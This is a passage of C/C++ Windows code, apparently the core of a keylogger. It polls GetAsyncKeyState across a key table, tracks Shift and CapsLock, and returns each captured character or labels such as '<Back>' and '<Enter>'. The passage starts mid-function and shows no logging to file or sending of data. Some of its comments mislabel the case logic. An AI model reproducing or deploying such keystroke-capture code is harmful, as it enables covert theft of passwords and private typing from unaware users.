{

if(pRet)

*pRet = NULL;

static int bKstate[256] = {0}; // Declare The Key State Array

static int x;

static int shift; // Variable To Hode State Of Shift Key

static int state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect

for(int i=0;i<92;i++) // Looping To Check Visual Keys

{

shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressed

x = SpecialKeys[ i ]; // Match The Key

if (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys

{

// See Whether CapsLocak Or Shift Is Pressed

if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Not Pressed

{

bKstate[x] = 1; //Uppercase Characters A-Z

}

else if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed

{

bKstate[x] = 2; //Lowercase a-z

}

else if (shift < 0) // Shift Is Pressed

{

bKstate[x] = 3; //Uppercase Characters A-Z

}else

bKstate[x] = 4; //Lowercase a-z

}

else

{

if (bKstate[x] != 0) // No Combination Keys Detected

{

state = bKstate[x]; // Retrieve The Current State

bKstate[x] = 0; // Reset The Current State

if (x == 8) // Back Space Is Detected

{

// KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Then

if(pRet)

*pRet = "<Back>";

return x;

// continue; // Start A New Loop

}else if (x == 13) // Enter Is Detected

{

if(pRet)

*pRet = "<Enter>";

return x;

}else if ((state%2) == 1) //Must Be Upper Case Characters

{

if(pRet)

*pRet = UpperCase[ i ];

return x;

}else if ((state%2) == 0) // Must Be Lower Case Characters

{

if(pRet)

*pRet = LowerCase[ i ];

if( LowerCase[ i ][0] == '[' )

return 0;

return LowerCase[ i ][0];

}

}

}

}// End Of For Loop

return NULL;

}